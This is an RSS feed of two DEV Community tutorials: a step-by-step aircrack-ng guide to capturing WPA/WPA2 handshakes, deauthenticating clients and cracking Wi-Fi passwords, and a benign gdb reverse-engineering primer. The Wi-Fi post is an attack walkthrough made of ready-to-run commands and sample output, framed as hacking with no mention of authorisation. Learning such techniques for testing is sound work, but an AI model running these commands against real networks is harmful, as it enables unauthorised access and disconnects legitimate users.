<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abhishek M</title>
    <description>The latest articles on DEV Community by Abhishek M (@rootsec1).</description>
    <link>https://dev.to/rootsec1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F186640%2Fcd4b841e-87f1-46f7-a0aa-fff71cac2c57.jpeg</url>
      <title>DEV Community: Abhishek M</title>
      <link>https://dev.to/rootsec1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rootsec1"/>
    <language>en</language>
    <item>
      <title>Hacking wireless access points</title>
      <dc:creator>Abhishek M</dc:creator>
      <pubDate>Fri, 14 May 2021 07:36:23 +0000</pubDate>
      <link>https://dev.to/rootsec1/hacking-wireless-access-points-598j</link>
      <guid>https://dev.to/rootsec1/hacking-wireless-access-points-598j</guid>
      <description>&lt;p&gt;If you want to know how to hack WiFi access points -- just read this step by step &lt;code&gt;aircrack-ng&lt;/code&gt; tutorial, run the verified commands and crack passwords easily.&lt;/p&gt;

&lt;p&gt;With the help a these commands you will be able to hack WiFi AP (access points) that use WPA/WPA2-PSK (pre-shared key) encryption.&lt;/p&gt;

&lt;p&gt;The basis of this method of hacking WiFi lies in capturing of the WPA/WPA2 authentication handshake and then cracking the PSK using 'aircrack-ng'.&lt;/p&gt;

&lt;h1&gt;
  
  
  Section 1, Aircrack-ng: Download and Install
&lt;/h1&gt;




&lt;h3&gt;
  
  
  How to hack Wireless Access Points -- the action plan:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt; Download and install the latest &lt;code&gt;aircrack-ng&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Start the wireless interface in monitor mode using the &lt;code&gt;airmon-ng&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt; Start the &lt;code&gt;airodump-ng&lt;/code&gt; on AP channel with filter for BSSID to collect authentication handshake&lt;/li&gt;
&lt;li&gt; [Optional] Use the &lt;code&gt;aireplay-ng&lt;/code&gt; to deauthenticate the wireless client&lt;/li&gt;
&lt;li&gt; Run the &lt;code&gt;aircrack-ng&lt;/code&gt; to hack the WiFi password by cracking the authentication handshake&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Install the required dependencies:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;build-essential libssl-dev libnl-3-dev pkg-config libnl-genl-3-dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Download and install the latest &lt;code&gt;aircrack-ng&lt;/code&gt; (&lt;a href="http://www.aircrack-ng.org/doku.php?id=install_aircrack#current_version"&gt;current version&lt;/a&gt;):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz  &lt;span class="nt"&gt;-O&lt;/span&gt; - | &lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-xz&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;aircrack-ng-1.2-rc4
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;make
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;make &lt;span class="nb"&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Ensure that you have installed the latest version of &lt;code&gt;aircrack-ng&lt;/code&gt;:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;aircrack-ng &lt;span class="nt"&gt;--help&lt;/span&gt;
&lt;span class="go"&gt;
  Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe
  http://www.aircrack-ng.org
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Section 2, Airmon-ng: Monitor Mode
&lt;/h1&gt;




&lt;p&gt;Now it is required to start the wireless interface in monitor mode.&lt;br&gt;
Monitor mode allows a computer with a wireless network interface to monitor all traffic received from the wireless network.&lt;br&gt;
What is especially important for us -- monitor mode allows packets to be captured without having to associate with an access point.&lt;br&gt;
Find and stop all the processes that use the wireless interface and may cause troubles:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Start the wireless interface in monitor mode:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan0
&lt;span class="go"&gt;Interface   Chipset     Driver

wlan0       Intel 6235  iwlwifi - [phy0]
                (monitor mode enabled on mon0)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the example above the &lt;code&gt;airmon-ng&lt;/code&gt; has created a new wireless interface called &lt;code&gt;mon0&lt;/code&gt; and enabled on it monitor mode.&lt;br&gt;
So the correct interface name to use in the next parts of this tutorial is the &lt;code&gt;mon0&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;
  
  
  Section 3, Airodump-ng: Authentication Handshake
&lt;/h1&gt;



&lt;p&gt;Now, when our wireless adapter is in monitor mode, we have a capability to see all the wireless traffic that passes by in the air.&lt;br&gt;
This can be done with the &lt;code&gt;airodump-ng&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng mon0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All of the visible APs are listed in the upper part of the screen and the clients are listed in the lower part of the screen:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46

&lt;/span&gt;&lt;span class="gp"&gt;BSSID              PWR  Beacons    #&lt;/span&gt;Data, &lt;span class="c"&gt;#/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;/span&gt;
&lt;span class="go"&gt;
00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe
66:77:88:99:00:11  -64      134     345   34   1  54e  WPA2 CCMP   PSK  SomeAP

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56
00:11:22:33:44:55  GG:HH:II:JJ:KK:LL  -78    0 - 1      0       1
66:77:88:99:00:11  MM:NN:OO:PP:QQ:RR  -78    2 - 32      0       1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start the &lt;code&gt;airodump-ng&lt;/code&gt; on AP channel with the filter for BSSID to collect the authentication handshake for the access point we are interested in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;--bssid&lt;/span&gt; 00:11:22:33:44:55 &lt;span class="nt"&gt;-w&lt;/span&gt; WPAcrack mon0 &lt;span class="nt"&gt;--ignore-negative-one&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The channel for the wireless network&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--bssid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The MAC address of the access point&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The file name prefix for the file which will contain authentication handshake&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mon0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The wireless interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--ignore-negative-one&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fixes the 'fixed channel : -1' error message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Now wait until &lt;code&gt;airodump-ng&lt;/code&gt; captures a handshake.&lt;br&gt;
If you want to speed up this process -- go to the step #4 in section 1 and try to force wireless client reauthentication.&lt;br&gt;
After some time you should see the &lt;code&gt;WPA handshake: 00:11:22:33:44:55&lt;/code&gt; in the top right-hand corner of the screen.&lt;br&gt;
This means that the &lt;code&gt;airodump-ng&lt;/code&gt; has successfully captured the handshake:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46  WPA handshake: 00:11:22:33:44:55

&lt;/span&gt;&lt;span class="gp"&gt;BSSID              PWR  Beacons    #&lt;/span&gt;Data, &lt;span class="c"&gt;#/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;/span&gt;
&lt;span class="go"&gt;
00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Section 4, Aireplay-ng: Deauthenticate Client
&lt;/h1&gt;




&lt;p&gt;If you can't wait till &lt;code&gt;airodump-ng&lt;/code&gt; captures a handshake, you can send a message to the wireless client saying that it is no longer associated with the AP.&lt;br&gt;
The wireless client will then hopefully reauthenticate with the AP and we'll capture the authentication handshake.&lt;/p&gt;

&lt;h3&gt;
  
  
  Send deauth to broadcast:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--deauth&lt;/span&gt; 100 &lt;span class="nt"&gt;-a&lt;/span&gt; 00:11:22:33:44:55 mon0 &lt;span class="nt"&gt;--ignore-negative-one&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Send directed deauth (attack is more effective when it is targeted):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="nt"&gt;--deauth&lt;/span&gt; 100 &lt;span class="nt"&gt;-a&lt;/span&gt; 00:11:22:33:44:55 &lt;span class="nt"&gt;-c&lt;/span&gt; AA:BB:CC:DD:EE:FF mon0 &lt;span class="nt"&gt;--ignore-negative-one&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--deauth 100&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The number of de-authenticate frames you want to send (0 for unlimited)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The MAC address of the access point&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The MAC address of the client&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mon0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The wireless interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--ignore-negative-one&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fixes the 'fixed channel : -1' error message&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  Section 5, Aircrack-ng: Hack WiFi Password
&lt;/h1&gt;




&lt;p&gt;Unfortunately there is no way except brute force to break WPA/WPA2-PSK encryption.&lt;br&gt;
To hack WiFi password, you need a password dictionary.&lt;br&gt;
And remember that this type of attack is only as good as your password dictionary.&lt;br&gt;
You can download some dictionaries from &lt;a href="https://wiki.skullsecurity.org/Passwords"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Crack the WPA/WPA2-PSK with the following command:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;aircrack-ng &lt;span class="nt"&gt;-w&lt;/span&gt; wordlist.dic &lt;span class="nt"&gt;-b&lt;/span&gt; 00:11:22:33:44:55 WPAcrack.cap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The name of the dictionary file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The MAC address of the access point&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WPAcrack.cap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The name of the file that contains the authentication handshake&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                     Aircrack-ng 1.2 beta3 r2393

               [00:08:11] 548872 keys tested (1425.24 k/s)

                       KEY FOUND! [ 987654321 ]

  Master Key    : 5C 9D 3F B6 24 3B 3E 0F F7 C2 51 27 D4 D3 0E 97
                   CB F0 4A 28 00 93 4A 8E DD 04 77 A3 A1 7D 15 D5

  Transient Key : 3A 3E 27 5E 86 C3 01 A8 91 5A 2D 7C 97 71 D2 F8
                   AA 03 85 99 5C BF A7 32 5B 2F CD 93 C0 5B B5 F6
                   DB A3 C7 43 62 F4 11 34 C6 DA BA 38 29 72 4D B9
                   A3 11 47 A6 8F 90 63 46 1B 03 89 72 79 99 21 B3

  EAPOL HMAC    : 9F B5 F4 B9 3C 8B EA DF A0 3E F4 D4 9D F5 16 62
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Reverse engineering binaries using gdb</title>
      <dc:creator>Abhishek M</dc:creator>
      <pubDate>Fri, 14 May 2021 07:32:57 +0000</pubDate>
      <link>https://dev.to/rootsec1/reverse-engineering-binaries-using-gdb-2bhc</link>
      <guid>https://dev.to/rootsec1/reverse-engineering-binaries-using-gdb-2bhc</guid>
      <description>&lt;h2&gt;
  
  
  General note on compiling for debugging:
&lt;/h2&gt;

&lt;p&gt;Normally, to enable the debugger to use the source code, you would compile a program using the &lt;code&gt;-g&lt;/code&gt; flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;gcc &lt;span class="nt"&gt;-g&lt;/span&gt; program.c &lt;span class="nt"&gt;-o&lt;/span&gt; program &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;lowest level of optimization&lt;span class="o"&gt;)&lt;/span&gt;, or
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;gcc &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-O2&lt;/span&gt; program.c &lt;span class="nt"&gt;-o&lt;/span&gt; program &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;optimization level 2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;-g -O2&lt;/code&gt; combination is valid and enables one to to debug the optimized executable. However the compiler will have generated a lot of optimizations, which will make it more difficult to step through the code. Using -g with no optimizations works best for debugging with source code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Examining the executable file
&lt;/h2&gt;

&lt;p&gt;The symbol table is sometimes useful to identify calls to standard library functions, (e.g., &lt;code&gt;printf&lt;/code&gt;), as well as the bomb's own functions. Note that the symbol table is always present in the executable, even if the executable was compiled without the -g switch. &lt;/p&gt;

&lt;p&gt;You can look at all the bomb's symbol table by using &lt;code&gt;nm&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nm bomb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examine the symbols marked with a T (capital t), and ignore the ones that start with an _ (underscore). These are names of functions from the C program that was used to compile the bomb. &lt;/p&gt;

&lt;p&gt;Next, take a look at the printable strings from the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;strings program 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This can often provide clues that will help you understand the program. Then, use &lt;code&gt;objdump&lt;/code&gt; to disassemble the bomb:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; program | less
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  GDB (GNU DeBugger) 
&lt;/h2&gt;

&lt;p&gt;gdb is a debugger commonly used when programming, but it is also useful for reverse engineering binary code. It lets you step through the assembly code as it runs, and examine the contents of registers and memory. You can also set breakpoints at arbitrary positions in the program. Breakpoints are points in the code where program execution is instructed to stop. This way, you can let the debugger run without interruption over large portions of code, such as code that we already understand or believe is error-free.&lt;/p&gt;

&lt;h2&gt;
  
  
  Starting gdb
&lt;/h2&gt;

&lt;p&gt;Start gdb by specifying what executable to debug:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;gdb program 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can run the program in the debugger just as you would outside the debugger, except that you can instruct the program to stop at certain locations and inspect current values of memory and registers. As a last resort, you can use (Ctrl-C) to stop the program and panic out. But this is not recommended and is usually not necessary, as long as you positioned our breakpoints appropriately.&lt;/p&gt;

&lt;p&gt;To start a program inside gdb:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run
&lt;span class="go"&gt;
To start a program inside gdb, with certain input parameters:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run parameters
&lt;span class="go"&gt;
Examples:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &amp;lt; ./solution.txt
&lt;span class="go"&gt;(equivalent to ./program &amp;lt; solution.txt, but inside gdb)

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &lt;span class="nt"&gt;-d&lt;/span&gt; 1
&lt;span class="go"&gt;(equivalent to ./program -d 1)

To exit gdb and return to the shell prompt:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; quit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that exiting gdb means you lose all of your breakpoints that you set in this gdb session. When you re-run gdb, you need to respecify any breakpoints that you want to re-use.&lt;/p&gt;

&lt;h2&gt;
  
  
  Breakpoints
&lt;/h2&gt;

&lt;p&gt;We wouldn't be using gdb if all we did was run the program without any interruptions. We need to stop program execution at certain key positions in the code, and then examine program behavior around those positions. How do we pick a good location for a breakpoint?&lt;/p&gt;

&lt;p&gt;First, you can always set a breakpoint at 'main', since every C program has a function called &lt;code&gt;main&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;break &lt;/span&gt;main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also set breakpoints at the other functions you identified with &lt;code&gt;nm&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To set a breakpoint at the machine instruction located at the address 0x401A23:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;(gdb) break *0x401A23
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: don't forget the '0x'. If you forget it, and if you are unlucky enough that the address doesn't contain any A,B,C,D,E,F characters, breakpoint address will be interpreted as if given in the decimal notation. This results in a completely different address to what was desired, and breakpoint won't work as expected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;To see what breakpoints are currently set:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; info &lt;span class="nb"&gt;break&lt;/span&gt;
&lt;span class="go"&gt;
To delete one or more breakpoints:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; delete &amp;lt;breakpoint number&amp;gt;
&lt;span class="go"&gt;
Example:
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; delete 4 7
&lt;span class="go"&gt;erases breakpoints 4 and 7. 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Terminating program execution from within gdb
&lt;/h2&gt;

&lt;p&gt;We can terminate the program at any time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;kill&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that this doesn't exit gdb, and all your breakpoints remain active. You can re-run the program using the run command, and all breakpoints still apply.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stepping through the code
&lt;/h2&gt;

&lt;p&gt;To execute a single machine instruction, use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; stepi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that if you use &lt;code&gt;stepi&lt;/code&gt; on a callq instruction, debugger will proceed inside the called function.\&lt;br&gt;
Also note that pressing  re-executes the last gdb command. To execute several &lt;code&gt;stepi&lt;/code&gt; instructions one after another, type &lt;code&gt;stepi&lt;/code&gt; once, and then press  several times in a row. &lt;/p&gt;

&lt;p&gt;Sometimes we want to execute a single machine instruction, but if that instruction is a call to a function, we want the debugger to execute the function without our intervention. This is achieved using 'nexti':\&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; nexti
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Program will be stopped as soon as control returns from the function, i.e. at the instruction immediately after callq in the caller function. &lt;/p&gt;

&lt;p&gt;If you accidentally use stepi to enter a function call, and you really don't want to debug that function, you can use 'finish' to resume execution until the current function returns. Execution will stop at the machine instruction immediately after the 'callq' instruction in the caller function, just as if we had called 'nexti' in the first place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; finish
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



